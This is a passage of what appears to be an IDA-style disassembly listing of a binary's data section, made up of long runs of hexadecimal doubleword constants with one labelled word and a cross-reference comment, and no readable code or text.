0A9CA0020h, 0B270E4D0h dd 71035535h, 62B1A2F8h, 0AC9D8EEh, 0BA290157h, 8D8FF9FEh dd 381A7114h, 0A6CA50FCh, 48CBD00h, 0C4D99A57h, 0D4D003A0h dd 0F707B2FFh, 6DE1A388h, 86B18200h, 5CBCF10Bh, 0AF390043h dd 0C2E0E590h, 0FAE8B879h, 0A558h, 638EF420h, 127121Eh dd 0B5A24C7Ah, 0D44A3551h, 0CD00C6D1h, 119BC1E5h, 0A9AB42h dd 27103D3Eh, 3644917Fh, 9D7C6D61h, 7C78FF49h, 0FB9EA79h dd 0E82547C9h, 7132CCFEh, 0F70069F0h, 0D9595677h, 16782F4h dd 9BF15478h, 284CE2DCh, 0A32B04D8h, 3CC0D521h, 0E2458798h dd 274400F7h, 0CA951023h, 6F04662Fh, 0C7C0263Fh, 0EBDD84C3h dd 0A076AB5Eh, 0F8153155h, 0B8AE043Ah, 0C09CF0DEh, 0FD48079Ch dd 0AC644013h, 0E0B7CE00h, 0D8BC99h, 46C2DFB0h, 31ABA19Eh dd 583E251Eh, 7052B180h, 372E836h, 3512F52Fh, 0A28985Ah dd 4800A0FAh, 1A514B9Ch, 76661B36h, 3DCF00ADh, 0D36E3F33h dd 881E45B5h, 0D0931FCEh, 9A9DD000h, 0EA5424h, 792AFAB6h dd 0B75EB3E3h, 9C4F3D00h, 89D6F67Ah, 36E8E0h, 99025CFEh dd 17741B6Bh, 42C24F03h, 0A835A53Bh, 0CB8809B2h, 0C2807D11h dd 0EB1BD822h, 192B7E0Eh, 62156FFBh, 78FDB82Fh, 3142ECh dd 1008D333h, 0C96AEh, 51ABE068h, 8A064387h, 0A4C7D714h dd 0D5F200C8h, 7525023Bh, 5889813h, 6390BE23h, 7D090ECh dd 8C7A304Ch, 38E93424h, 503CDB09h, 1B732C88h, 0EC1D8BF8h dd 0CBB694E0h, 80179C3Ah, 1A863CADh, 1D56E91Ch, 8B1F132Fh dd 0BF00B1AAh, 1EABAC62h, 0BD7E0E00h, 51617453h, 0E9C438A7h dd 87AE9000h, 97E07C8Eh dd 33F1FE00h, 0B1B34B5Bh, 0F207DB7h, 62FCF41Eh, 659D0A40h dd 0B07A121h, 0DC236755h, 5F160F70h, 0EC530358h, 0CA91F5AFh dd 0D28895D0h, 4E2C3648h, 0E2C92FF0h, 0A17500F0h, 6D6F284Dh dd 980046D4h, 0A2682FC7h, 0B87F184Ah, 2DAC0031h, 4B55EAE3h dd 3400F0CEh, 7EE70A4Eh, 0F8841Fh, 0A1D150A6h, 0A28063CAh dd 78E5F73Dh, 0DBE40095h, 0EB1892h, 90BB534Eh, 52ECCF07h dd 6A482603h, 0A0B88944h, 9F8566h, 0D912A02Ch, 0D187D8E1h dd 78378601h, 680845F5h, 0FC177D0h, 0C809210Ah, 0C6D0BF60h dd 6A283280h, 1507A81Fh, 588AE0Bh, 1D923E30h, 0B04A0728h dd 18C566h, 0C26ACA55h, 0D83A0700h, 2767485Fh, 1B8400BCh dd 7C457276h, 54B088CAh, 6417C005h, 0A8000E09h, 37D3A70h dd 74F700B9h, 66576235h, 0D012D5CFh, 4400B230h, 26A35DE8h dd 525B00ADh, 20C47A38h, 0A000198Dh, 0F5279D10h, 7CAB6B5h dd 6364F89h, 0DA0B9056h, 0D900B0E7h, 0A69E1DF7h, 0B8A88ABAh dd 23501CDh, 0A4EC8004h, 42C3264h, 96BED767h, 9800A585h dd 0A9E11D5Ah, 0E8220E0Fh, 4CE0C173h, 5C178008h, 0C635Ch dd 7116E469h, 3F9B14Bh, 3739723Dh, 67CACC2Fh, 360BF0E0h dd 0B5DF301Fh, 619A6040h, 602CCF9Bh, 6B9111CEh, 0A7006642h dd 5141F93Dh, 0B0C8041Dh, 0B83B01BBh, 0D1903228h, 206B7188h dd 530034E5h, 0D46CC923h, 2069C8Eh, 0C0C2D698h, 80569376h dd 3D5E003Eh, 0D5AE0C92h, 73229890h, 0CCFF074Dh, 0A0C97FA6h dd 6D1EE1B2h, 56AAD000h, 4383E309h, 0A8DB1C12h, 788101A5h dd 0C0D1B384h, 3900B6B4h, 6848E132h, 0CD06BA4h, 3DAE2112h dd 6F00D911h, 0C8D2DD26h, 1FBEBB8Ch, 803103CAh, 0F4A0B2D5h dd 3CB8C3ECh, 0EF462201h, 0E81B8101h, 7930002Ah, 68BBB1ADh dd 585287A0h, 2400355Bh, 0B91B250Ah, 0E5BF3BD5h, 0D71A0B8Eh dd 9330ACC2h, 3A1FBC76h, 0E78680F8h, 0BD791832h, 1261F852h dd 47D8FF8h, 0D0A3366Ah, 4C45D440h, 0F24E51E2h, 0C0B54C20h dd 0BD800AF8h, 16DC65A6h, 79E493B2h, 16FC1058h, 0CE04F688h dd 2881A25Fh, 0E9CCEEB1h, 4F6B3h, 9DB96DBEh, 0F4DF6403h dd 3B4748h, 96098002h, 4114F7h, 724E441Dh, 0D890364h, 7FF26800h dd 3038390Ah, 0FA860384h, 8BF50647h, 0F420E49Ch, 0C023DB00h dd 0F0194E5Ah, 7C4458A3h, 0CE638A00h, 0FB372FEDh, 80030874h dd 27539AD1h, 398CB006h, 0C05D4B24h, 45AA26C4h, 0D5144F0Bh dd 0D2FE8582h, 0E5F2CC07h, 21EB5520h, 72E0E7h, 0ABD6B465h dd 9175C8CAh, 0C2388D60h, 3874873Bh, 0CD80AD83h, 3CEDC690h dd 633FC85Ah, 915B0EC9h, 15F262A5h, 2D40562Eh, 0B6E08E60h dd 0B21B200h, 35CFC10Ch, 821400D0h, 30A82066h, 89EC561Eh dd 4ED7CD0Eh, 32BA0BAh, 0B97C3B6Eh, 33E300FCh, 8E53C2CDh dd 9FB9A4A0h, 0DF693013h, 941984C1h, 0EF50002Fh, 9F1A3D41h dd 0A1C3AB0Bh, 373083D9h, 7133A048h, 0B0F0EBh, 5DA673B9h dd 4C4E547Dh, 566A8900h, 0F672C5E5h, 0ECBE3A1Fh, 0C11A8E00h dd 0DC2C499Eh, 161578C0h, 0B0751239h, 6ACD166Bh, 1ACD00ABh dd 0F3C1379Ch, 0E86B5100h, 0DC7D2625h, 77D0B8A2h, 1A80F9FCh dd 37F0EFC2h, 0D0165A5h, 62DFD61Eh, 0C6707507h, 0A45FA0h dd 178C6C8Ch, 1E0728A6h, 5E5B586h, 569C1DA0h, 0AC2E075Dh dd 0F0615A62h, 0B9AA8340h, 7590A300h, 4C356F46h, 12293F14h dd 0CC8227BBh, 1F92C6ADh, 0C0D00C41h, 29F70D2h, 0E0766E40h dd 7B19D37Ch, 6C59017Bh, 0B65D2747h, 0B5E6407Ah, 3E00A48Fh dd 6BF602CDh, 18513D8h, 52B42E77h, 0E50C498Ah, 0CFA5D4F0h dd 0F5D9191Ch, 0D7479480h, 4E785Ah, 1EB093E1h, 0CDC99107h dd 6C59C8A0h, 2D4B289h, 771901C3h, 0E6E7E0FDh, 0D2218045h dd 0CA697517h, 79CFA58h, 90034028h, 0C69AB44Eh, 600110Fh dd 0F3518B81h, 2AF18C5Ah, 2EA43691h, 42303B3Eh, 250007E7h dd 17FDCBh, 6DCAB257h, 0E80302C5h, 0EDD9D71Eh, 673C8F80h dd 614C1BA8h, 7C6350C1h, 60CC02B1h, 3DBFD11Ch, 1002D8F3h dd 0DD404C85h, 8A264448h, 8094C009h, 0E02E007Bh, 0BE5650C1h dd 0F4893D08h, 60403AD4h, 9000813Dh, 0E862CE46h, 137FAC1Ch dd 0DDD51Dh, 0BBB09470h, 4002383Ch, 0B407289Fh, 17C74E3h dd 659B0DF4h, 8EC7D9F8h, 805BB278h, 0FB4A74DAh, 99E30C7Ah dd 3618E41Fh, 95C73D00h, 8844123Bh, 0C5DB00CDh, 0C6AED3C8h dd 9C28FB76h, 0BC00A47Ch, 0E7F89B4Eh, 1D887FEh, 51A665DBh dd 68F42A41h, 1CB38CCh, 0CF501B44h, 0C5602272h, 804B00E1h dd 0C6EDF8D5h, 10012F26h, 6C5775E9h, 0BCEC955Ah, 62830045h dd 500423EAh, 4100CEFBh, 0D87930A2h, 0ADB7A2Ah, 0D624E371h dd 21EC01B4h, 0CCA92297h, 661C3507h, 90ACED80h, 2B8FDC00h dd 1DE2D9E1h, 0C003C29Eh, 0F9100A3Ah, 0B41213C5h, 790093CDh dd 4CB6A69Ah, 8747482Ch, 508050h, 4A785281h, 0E4199B13h dd 82FAD8A8h, 55312609h, 1C98F069h, 0C9B0CFh, 0F5A9245h dd 0D0FA01DFh, 20AB212Fh, 558D28E8h, 8E320059h, 7B0125C9h dd 0DD00C5C7h, 0FF4E67DBh, 13C148Ch, 0C007F50Fh, 787B0BF9h dd 311000D0h, 6BF7952h, 5C360021h, 57D45D20h, 0AA271218h dd 954C8402h, 3204F0h, 0C1DA1715h, 0F4F78791h, 34402EE9h dd 4F79CBBFh, 0F2070047h, 0D90E3DD2h, 0EA48A7C6h, 8B50710h dd 954002C2h, 2AA677h, 82CC1DE7h, 6B61ADD6h, 7CF06327h dd 0B4E0006Dh, 0C09F517Bh, 0D6E6F31Ch, 28832D87h, 0C919B3D0h dd 0A59D0013h, 0E133BC6Ah, 543D4B70h, 0A26601D2h, 3640A903h dd 3D9B830h, 2151FC0Ah, 917807BEh, 0F272AD44h, 1E28C035h dd 385221Ch, 8FB02600h, 843E2D93h, 0C0B200CDh, 627DD5EEh dd 0F7004DC9h, 5352EA46h, 859A97h, 0A403DEF6h, 9EBBD0CDh dd 92C51500h, 0AC1FAD63h, 74AFA2Ch, 7A0F190Eh, 13D760C9h dd 550E871Ch, 20C16A4Fh, 0D48CBBE0h, 98F816h, 5C7E72C4h dd 0A0B4C67Fh, 45BFEB0Bh, 4820A093h, 438D91Eh, 3094B1Dh dd 0CDE6C06Bh, 3DEEACB9h, 18D00800h, 62DEFA76h, 3FD6FAA6h dd 0AB00E10Fh, 40D573BFh, 2401F59Ch, 18A5B7ACh, 2C60F90Ch dd 883B0061h, 5B08D791h, 0E200F758h, 13DECEADh, 5B6DCF6Ah dd 0C1E800F4h, 2232B0D1h, 0D86FC001h, 21C9C2A9h, 514AC0h dd 4CF91C6Eh, 7980FDC4h, 9D18C100h, 178A8132h, 0FFCD0090h dd 5F69625Eh, 1B247C99h, 1500A92Ch, 0ABC43A72h, 932A4CFDh dd 2431F12Ch, 1FE00E7h, 3EF7A9Fh, 0EE052D00h, 0FBF29661h dd 1E990053h, 0AE3ACC2h, 0D0005A51h, 88B9C712h, 1869DE01h dd 112A44E6h, 2203708Ch, 0D35EEAEFh, 615D8264h, 0B06DE6F4h dd 0A098B107h, 188420A5h, 5600959Ch, 0AF482B29h, 768E449Fh dd 665C0047h, 4D347051h, 0A300521Dh, 0FE17B704h, 0EB47C2C1h dd 79830EE0h, 3E1C00CAh, 5116AF0Ah, 4C001573h, 612FB591h dd 277202E9h, 8848FE03h, 3200319Bh, 0AA9589A1h, 12905F46h dd 0F269C2C5h, 0FD162CBCh, 1E4D09h, 9F382FA5h, 521700C7h dd 7685F10Ah, 6700D94Fh, 51B516E5h, 13AB01EFh, 80D0F596h dd 0E8F27950h, 8BE01F74h, 818DB130h, 6308072Fh, 9730C6E9h dd 6E24080Dh, 0D6E12069h, 0A1EF1088h, 4F01F69Eh, 945CF8Dh dd 18B864E0h, 21A9DC24h, 8B13C1AEh, 0C4B4FC63h, 2F3A00ACh dd 3137A629h, 401FBCF7h, 8100DC02h, 4AD4F83Ch, 0AF840016h dd 11F31CD1h dd 324FC6EAh, 5900488h, 8BB7FC31h, 595C00A3h, 36643DBh dd 0CF571500h, 94403FC4h, 121F870h, 14B91044h, 3A302DDAh dd 0C702C407h, 8CA080FFh, 9E1A25h, 38E424DFh, 4254515Ch dd 4E48F77Ah, 8EF85BBFh, 0BEBCCA00h, 0AF8C7E5Bh, 0A66DE12Ch dd 4203A800h, 9F66DEh, 0B8A5A296h, 2366F98h, 6DDCE603h dd 0C06A8849h, 6940B1h, 0C5037EC1h, 0E5DA9F5Ch, 0AA92EA07h dd 8E60E489h, 7C13AFh, 0DE63ACCAh, 6010DD4Fh, 0A58BA900h dd 0B066F1E2h, 0A1900051h, 0FD8127ECh, 1D074FACh, 3A9DA8F8h dd 0B207C48Ah, 0A6819C74h, 0D0E03D8Eh, 0E9200034h, 0F87C0EA8h dd 89288BB5h, 4B3FA827h, 258160Ch, 32F5DC80h, 9D6314A5h dd 0D419CC16h, 2AEC0847h, 3ADFFC00h, 51C0A5h, 13E6EADEh dd 0E93CFF14h, 0EA90401h, 8BB60398h, 45076822h, 867D784Fh dd 26001801h, 70F4BF5Bh, 26981DCDh, 0D258720h, 0F464C6h dd 0FADF92F0h, 967710C0h, 0AD71A3h, 0CF0A40A7h, 8CB9FE84h dd 0B279277Ch, 340026E4h, 0FACAAA43h, 39B33F0Eh, 3B82CE12h dd 0CB74E0F1h, 33938980h, 0BE0024CDh, 760EB9B4h, 4D967Ah dd 8422AF17h, 50B235B5h, 0ED384E1Fh, 498A6F00h, 0F6AAEADBh dd 0B06A0E8Bh, 54E03178h, 1B77FEE5h, 0A23A8901h, 6C9B16BEh dd 780862E0h, 0F0AFA09Ah, 0C40E2AAh, 0EFC6137Bh, 8D00E318h dd 91296DBh, 1AB4BA6h, 73AACC40h, 80942568h, 0F847B230h dd 722C7B03h, 0E4931D87h, 211E9886h, 0F707CFB1h, 0AD23F93Bh dd 97C01287h, 0C1A78F89h, 7E243158h, 0AA70980Ah, 1B532A21h dd 11A5BF9Ch, 90490E17h, 483F8400h, 0F0A8B6h, 0ABACFB29h dd 9F267AF2h, 188ACB33h, 5A10D03Ch, 0F451C3A2h, 21D09B42h dd 0EF337B67h, 96092Ah, 827AD421h, 0D1AD6A5Ah, 0E899976Ch dd 23180F3Bh, 6D01130Dh, 0F05CD368h, 7201D16Ch, 0A3A8AB53h dd 9AD004F9h, 0CB2F3923h, 5EA01283h, 11421ED7h, 3007E004h dd 5610C0C6h, 7FAB0252h, 976371Ch, 0FEE44CC0h, 0B427E3h dd 314934Eh, 6AC5671Dh, 0F9E07600h, 0A60ED371h, 0B7583B89h dd 6BA70F01h, 0F8776150h, 26003219h, 5BD0025Dh, 0F86FF23h dd 9B7D3AA6h, 5EA52880h, 887A972Eh, 1C104700h, 0C9168FCh dd 0AEC028AFh, 0B4F4AAh, 0B286E6FAh, 0BD62AC69h, 210FC303h dd 0D053E22Bh, 0EE801FD4h, 0CF8100FFh, 851A97B1h, 1100FD71h dd 6A65FC0Fh, 0E2D187h, 7CC3DEABh, 0DB1D1594h, 4D59F000h dd 0B9220BFBh, 9B7B46h, 0B5ABF7AFh, 0F1AD783h, 0E6386AE0h dd 52CE80C4h, 0FCBD1720h, 0C17D00E1h, 0EAF121D3h, 0E3711586h dd 6EB4731Ch, 0E9BB4AC0h, 306C9C43h, 0E17026F8h, 0C2006001h dd 1D5E6B6Dh, 0F403DF2h, 67AA87CDh, 3FC711A1h, 38CC4326h dd 0FA42E2A8h, 4B933100h, 0CAC45958h, 15FD0089h, 374FB19Dh dd 27077252h, 698354CDh, 66E26F41h, 1F63D6CCh, 1C0D7D3Eh dd 0D12040D2h, 3A6781BBh, 2EF64CE2h, 1FE324h, 0E125EA87h dd 0EF5DF720h, 9C7E00D7h, 9F8D9BB8h, 60C028B6h, 0D9F1B52Ch dd 348500C3h, 95FCB4F0h, 8A009BFFh, 273711BBh, 0ACB382h dd 0BE6270A0h, 6D04E646h, 88D58600h, 24C83257h, 0EC0C00E5h dd 0AB9D4C59h, 0DA1D8A84h, 7C016A92h, 0D0B0E8A9h, 115A4FCh dd 0F8B50D1Fh, 0D9801D64h, 0A9D450FBh, 5960B6B1h, 252E7B99h dd 896800F0h, 1D933FA3h, 0ECEDB82Bh, 0F9021A40h, 0CE363527h dd 4978488Bh, 28020756h, 9A1BDCh, 0E1F635F4h, 4838C303h dd 4C11F9h, 0A939EA68h, 192CD854h, 2696ED00h, 62F3DD59h dd 7C5A3B8Fh, 7741BE80h, 14BAD67Fh, 0E249B000h, 0C6117A27h dd 0B6E50419h, 0C29FB120h, 464165D4h, 10F0504Eh, 35F222C8h dd 56C83461h, 5DCC83ECh, 59E5037Bh, 0B953B001h, 43326B88h dd 66754D03h, 0A08D2A26h, 5088Fh, 0D8AEF74Eh, 786A23D4h dd 49C64800h, 5B62F4CBh, 21B40029h, 1BD0406Ch, 0B907F290h dd 36439163h, 0B99C7E0h, 0AE3A0092h, 9FF60265h, 9A0EFA8Dh dd 6153D610h, 5A6ABD72h, 9334E450h, 900CE82Eh, 655630ABh dd 5F2B927Ah, 0C9B01113h, 40A12840h, 63A83CD7h, 0D5F52A31h dd 0C71B84C0h, 0A57A6C00h, 0AFD61632h, 4DBEA9Fh, 0ED218FA7h dd 70F08761h, 24026242h, 0A6633600h, 8CB1B6F5h, 0E6DC070Fh dd 0A3800E92h, 22E88DB7h, 11000D60h, 0F9C315DBh, 1679CBh dd 6156A336h, 0FFF74CCDh, 24E93B26h, 9100481Eh, 8202149Fh dd 8050DC10h, 0B4FFE01Ah, 9304C4E4h, 0FCF3EB1Bh, 0D0166C0h dd 18A71740h, 0BC5A00F5h, 8F78FD8Dh, 76291A00h, 242F34EEh dd 0D940BD10h, 0AB124F98h, 0EA1480h, 79A1D8A3h, 0A12D69Ah dd 0B41E2EE5h, 5F7BF440h, 0C4C76h, 71020D4Eh, 378E2454h dd 0BF5C4Ch, 5D1F78ABh, 849EDh, 4DFD5E5h, 510C1C4Dh, 0EC68F100h dd 0BDC181F0h, 0F249E61Dh, 930F003Ah, 3B48A23Fh, 0F200074Fh dd 47F4EC2Eh, 1A88EDh, 0D9668404h, 279822A4h, 0BA89B000h dd 6B3623CAh, 48C7120Fh, 0CE9040A7h, 60D35AFDh, 13F96400h dd 3EDCE5A8h, 0DAA900E7h, 49122110h, 0CD0A29EDh, 0F85B7ED4h dd 9B3FE981h, 0A020CAF9h, 8C40508Bh, 0FCC00BFh, 7A538A2Ch dd 0E1E3C5B6h, 1AFD8BDh, 0C4D8D300h, 70177934h, 7F78B5h dd 0E29C9009h, 8B6A6E10h, 79D5361Dh, 4C07F392h, 5A112237h dd 0B0803F59h, 672C985Dh, 109AC105h, 4306C300h, 0E6D63129h dd 0F6F10024h, 21750267h, 5F033D28h, 12F23738h, 0F3100320h dd 83294236h, 0C0E55DC3h, 103E76B7h, 619E9024h, 0FC9311Dh dd 46F40183h, 0CAE4E081h, 4A3300C9h, 968C545Eh, 40CE53B3h dd 2F9966B5h, 73870720h, 0C06B699Fh, 0F8FA9150h, 52ADE900h dd 304A925Eh, 7D3F0768h, 70188D41h, 3A73CD4Ch, 6A6CA400h dd 0B2D27B9Dh, 28C00004h, 729C215Ah, 0CE00B971h, 73C4DA4Fh dd 41180Eh, 96FFBF0Ch, 3C63322Ch, 0D3389B00h, 482EA9C9h dd 0F7011727h, 3BB900DEh, 371BA29h, 86E9D10Eh, 40C0DF74h dd 0BCDB1507h, 0DC3F0022h, 64042B8Bh, 951EEAC9h, 9B80ADACh dd 9D105A2Dh, 1BE005F4h, 81D11A2Fh, 0C063C97Eh, 7D006EEEh dd 3EA4A5E8h, 971725h, 8F9D5574h, 15ECDB82h, 70B661Eh dd 0BCD47D80h, 3FB79Ah, 7CC5F5FCh, 143A1946h, 1708E838h dd 0F600715Bh, 9EB363D3h, 0C23C0088h, 5C1409BBh, 6E0BB146h dd 0A02801CFh, 1B3A6D64h, 0DA040355h, 819F11AFh, 8B3689E0h dd 4DE1A400h db 4Eh, 0E6h word_544F42 dw 0E3B5h ; DATA XREF: ___:off_4374C0o dd 7BBC0B47h, 9900A37Fh, 0ADD3E8Ah, 0C36DB200h, 0BD13B595h dd 58E7EAF8h, 52009084h, 51FC8A0Bh, 6A5DA098h, 58007C94h dd 9EADEB50h, 1DB6E2E4h, 3D1DA3Eh, 3061C2F7h, 0BFA8990Bh dd 0F8B42077h, 0FED322h, 9CD1B2FAh, 13CF5E18h, 0F3B4170Bh dd 2F208049h, 1DB1A60h, 0EF406E6Ah, 0F02DB56Dh, 0E10EC7B6h dd 672EB0DAh, 0A9806FA1h, 0EE81A7h, 99B6F0F7h, 0A002D978h dd 51FBB0C3h, 1869B275h, 0AD03EA15h, 24E2B3B6h, 0AED9A0B7h dd 0A17A6006h, 0C2E5A59Ah, 0FFD84000h, 825DA25Fh, 36F4F3h dd 1C0FB680h, 0FE3F062Ah, 45091403h, 97A47993h, 0E75FDFD0h dd 6DB86Fh, 4CD81703h, 0AF9DE92Ah, 6C26AC2Ch, 0E37D6600h dd 37B8A62h, 0EB8436AAh, 20A1B0FAh, 89D2D02Dh, 0F1F3A903h dd 0B00DADCCh, 93581Dh, 1B64D9B1h, 85F670C2h, 4211D300h dd 3C288892h, 1612000Ch, 0E80965E4h, 7E006878h, 0D5665B80h dd 95D3ACDh, 0DB12177Ah, 0DC81844Fh, 554D335Eh, 0FCC28850h dd 0E0830178h, 291DAA28h, 23C4F8F4h, 58347B01h, 32DA071Eh dd 0A31420h, 0B0D19621h, 31D3CE0Ah, 0A758CFh, 2A477735h dd 523E03AEh, 568438CDh, 0A1ABF0D0h, 6EF56800h, 87CB2A46h dd 0E7FF140Dh, 99E120C8h, 3D2C18C1h, 0EC006D72h, 5E8B7BA9h dd 7524CAAEh, 4F408C07h, 1D839E9h, 0EAE496B5h, 0D1B386A7h dd 8721BF4Ah, 0DED39E0h, 0B5B14100h, 15C47E67h, 8479F20Ch dd 0E445E603h, 0B806FB4h, 0F800504Ah, 6BD969D0h, 557BA9Ch dd 56ADB21Ch, 199000C7h, 9925C338h, 0ECB01154h, 0B6D2E400h dd 6F915506h, 60473993h, 4BEA93h, 57DD9928h, 367D1E0Ah dd 1CC81252h, 5BC7A09Bh, 4F500D1Ch, 639DB04Bh, 9F1921BCh dd 0E98759B8h, 5E2C252Eh, 69702B18h, 267805E2h, 40D815CCh dd 61FDABF0h, 0A3065202h, 934A318Ah, 0C83E5D08h, 61C58D00h dd 6FBF2C56h, 281CD500h, 0FABD2DBAh, 0BB60309Bh, 180AD9E8h dd 0F24D1E7Ah, 83CB1E10h, 40E368CFh, 0C2C6D1E2h, 6D08CCAAh dd 68F6C4A9h, 8B20AC05h, 5820582h, 76484414h, 0B7830044h dd 90621394h, 0BB004BEEh, 0BDDCE29Ah, 245DC87Bh, 4FE4157Eh dd 0F3E906E0h, 1B4B9AABh, 0B19BFC41h, 66ECFCEDh, 0B57800B9h dd 7B1C4E2Eh, 173C7F15h, 0D6D10219h, 203F4633h, 89F6BBE2h dd 0F8D26F00h, 0D750C16Ch, 5CA90443h, 808615B1h, 1E19844Ch dd 278F952h, 0FAF067D8h, 126B31DAh, 38B70085h, 0B80F476Ah dd 9029A730h, 0C655B00Ch, 1B38C406h, 4C890F74h, 0C11C817Dh dd 0B8C3D1BAh, 12B22E13h, 7D8BBE6h, 0D6C06AB0h, 0DCB0909Fh dd 33659B7Bh, 0CFC66018h, 0D6AE0318h, 83FF946Fh, 40C05000h dd 0D35B54Eh, 0FA70C1C6h, 24D3F46Bh, 93FA0928h, 0A130CE73h dd 6B3920AFh, 0FAD74080h, 0B7E69F0Ch, 69683Ah, 0D09C731Fh dd 0D6EC124Bh, 409AFF24h, 11A6DF00h, 58D63B9h, 0F27A69F5h dd 2C944F56h, 5BAA2380h, 0A9306155h, 1E52A830h, 6CD2504Bh dd 609056DDh, 9A2D4902h, 0F0A12298h, 301806BEh, 0A60DF7F8h dd 8EFA053h, 7DF0048h, 5654183Eh, 6B8E607Ch, 3C02B516h dd 0C6CA911Ch, 2C086606h, 92844FEh, 899DA4Eh, 95FC104Bh dd 26603C39h, 326ACD80h, 0B6F61434h, 0C5FA4514h, 801D2494h dd 6A465Eh, 96A6333Fh, 18691004h, 0F8B60160h, 88058679h dd 0A706DC24h, 10ACEC49h, 77596C4Ch, 4278CC76h, 0D4A13851h dd 22C821A8h, 14363BE0h, 0BD9C8816h, 0A5B30F6h, 248D1200h dd 739E3F78h, 59346008h, 0DC8FA37h, 14BF703h, 0D0A9B7DFh dd 3CF3C16h, 0A0423185h, 0B8A653D6h, 1944DC87h, 9781EC60h dd 0D0A3AEEh, 6CC02BD6h, 0D58A691Dh, 670B94B3h, 23581333h dd 40394E8h, 8CA7DF18h, 0DD231762h, 0DE50B0FCh, 0BC2703D0h dd 74C968A7h, 67F25811h, 5C73220Eh, 6BBAD380h, 0BCFEB078h dd 0E1022B00h, 20524689h, 4B303E0h, 5BCB0D43h, 40BCA848h dd 26057E44h, 37A7E6A0h, 0B0808804h, 8B1C82h, 0C2CF4401h dd 8669F33Ch, 41FB8ECBh, 68A23A28h, 8784D7ACh, 7AC76B30h dd 0DA1709C0h, 0F1AA7CA0h, 500E02C6h, 5B6597h, 0DE82559Ch dd 12F01603h, 52181D87h, 50C01A5h, 815BD50Dh, 0A295CD61h dd 9C02858h, 0E890027h, 0D2EAC276h, 3800FA83h, 0F1C72BFCh dd 92053624h, 330A0074h, 91979B1h, 137CDC14h, 0D3FB6400h dd 0DD015F7Ch, 0F3B036CEh, 8E0C0810h, 808C8533h, 70E001F8h dd 0F2A00BD1h, 0A8B560C5h, 6AFDB40Fh, 202D0999h, 0A19FCC30h dd 0DBA000D4h, 38403E67h, 1D001269h, 0FE7FCD3Dh, 84D3069Fh dd 19A0313Ch, 7103C0Fh, 2F492CE3h, 6CFF8128h, 24AF518Bh dd 133EB0ECh, 0D21018DCh, 9A2B29h, 8E888531h, 0F93716F6h dd 10F8D892h, 0BB12380h, 5BCA5EC2h, 55042583h, 32C1F8F0h dd 947FF8E9h, 796B0303h, 2687F12Ch, 9CC08F0h, 6C81DD5Bh dd 30FA5CC6h, 99C015C0h, 6A36352Fh, 207C00CAh, 11B8CDE8h dd 3E020725h, 0A0186545h, 0B120A31Eh, 2C3900D7h, 5C274CFFh dd 7C93499Bh, 1D52770h, 7ED8A8ACh, 343135D6h, 0C09872F8h dd 38C2D20h, 759FE2FCh, 3187F991h, 50F63849h, 68AE7CD4h dd 6B584703h, 4BEB387h, 5CC5C318h, 62888014h, 20840F83h dd 0FB042E4Ah, 88DE03A8h, 0D6800CDBh, 0F07803B5h, 43B2000h dd 718FE577h, 50064C1Ah, 6A3D5580h, 5E03A7A0h, 899593C5h dd 49FDA87Eh, 3C90B8E3h, 3680822Fh, 31DD3DE9h, 7F1F8A6Ah dd 0FC64F22Dh, 0A694F583h, 0E99A9884h, 60B7327h, 6BDC73D1h dd 2CE4D969h, 35ECC709h, 0FA90484Bh, 2ECD1233h, 0FC00145Eh dd 0E0EF0714h, 3EAA81Fh, 3D946BF9h, 45B22001h, 0C45DB939h dd 4108D420h, 0FA67F088h, 7935DD05h, 0D8D8CE26h, 46108A7h dd 0D7C69352h, 6F8B0021h, 384B5162h, 215D16C6h, 3AF803E4h dd 83CEDC66h, 42E7E80Ah, 3EF39E1h, 0CF2EF280h, 0B52B5D2Ah dd 91A52412h, 0B587149Bh, 604CC72Ah, 6DF459Fh, 4DDCD000h dd 17013627h, 38C42857h, 196D0BB8h, 0FC012D7Dh, 333C1Bh dd 396B10B0h, 0C6872A2Fh, 8941B8A7h, 0C848C8A9h, 0E1D0A7Bh dd 83C055E9h, 0AF7F272Ch, 0A7E12809h, 3BDB0AB0h, 28A4A451h dd 0B0A1CEDDh, 0CDC0E300h, 6F05A2A9h, 448A3579h, 0FE945480h dd 9584003Ah, 7BD721D1h, 774883B4h, 0A1D022B8h, 0BED4CD46h dd 94F54826h, 0AED6E102h, 24ECA9CAh, 0B444E502h, 19B376B6h dd 9CED1046h, 2E6EC39h, 0B2141B5Eh, 0AC6A8D35h, 31A19441h dd 9350642Fh, 44E3248Ch, 2C86147Dh, 0EF803F88h, 329C399Ah dd 5BD81EE1h, 7B426B8h, 4037590Dh, 0AF2F69FFh, 5C800891h dd 0A3CAA915h, 0DECB0777h, 40F24C87h, 544AFEE4h, 0D8E95909h dd 0B0F4C004h, 3B4026F9h, 72A04CE4h, 0E2010743h, 0EEB5D744h dd 88400CE4h, 390199E8h, 19E7ABC9h, 0DCD046EFh, 0C0AE09F1h dd 1180FF3Dh, 76CC5C1Eh, 347F6604h, 78B441ACh, 99F70061h dd 4A0DD6E5h, 6B008B63h, 2EBB8A3Ah, 9022A11Eh, 6919132Ch dd 39B86179h, 2049C565h, 0DB0A1B8Eh, 0E8CA66EEh, 0CD46ACA8h dd 361E002h, 0D631DB52h, 61DF0015h, 0A7B40A12h, 0D805C012h dd 5CE54C00h, 3147335Eh, 9BB11F81h, 4C345C0h, 0D4F255E4h dd 99A004ACh, 65FC802Dh, 0FE02B5FFh, 6306DBE1h, 0F394E44Ch dd 171DFF18h, 0D42EA7A8h, 0F7E070h, 36B65117h, 0ABBDAC89h dd 2DBAF09h, 0FFC861B0h, 6709D618h, 65AAFAE2h, 0CF638050h dd 3E014E68h, 0F94DDF04h dd 64D134A3h, 58F6ADB0h, 3EEC9018h, 76402285h, 31A27A27h dd 0B10017D8h, 8130645Eh, 0D6528053h, 0E833605Bh, 2027C944h dd 0DC2A4802h, 7B05D934h, 93D3821Ch, 209C65D1h, 50C3623h dd 0D73E52h, 637D84C5h, 694C740Bh, 16C11226h, 0B938E8A4h dd 25EB800Ch, 0C74EA375h, 0D429FB03h, 90160491h, 696550B5h dd 3C1840CFh, 0F0001387h, 9F6F1A59h, 77CCBC72h, 0B5A93AB0h dd 0EA9EBD00h, 5DC2C456h, 384DCE20h, 94801C36h, 77ED25BFh dd 3B000CACh, 0FA4CF57Bh, 908F1143h, 0B42600A8h, 0E32459BFh dd 0AD3D66DCh, 86C01F2h, 6069E0E9h, 2C123C39h, 0E18497B2h dd 0DA5153h, 7E5EC16Ah, 296175D2h, 0BFC4A34h, 57D05BA3h dd 8F36E900h, 538D69A1h, 0AB087878h, 9AC0C788h, 5C1F0E8Eh dd 144F06BFh, 0BA0C5DE4h, 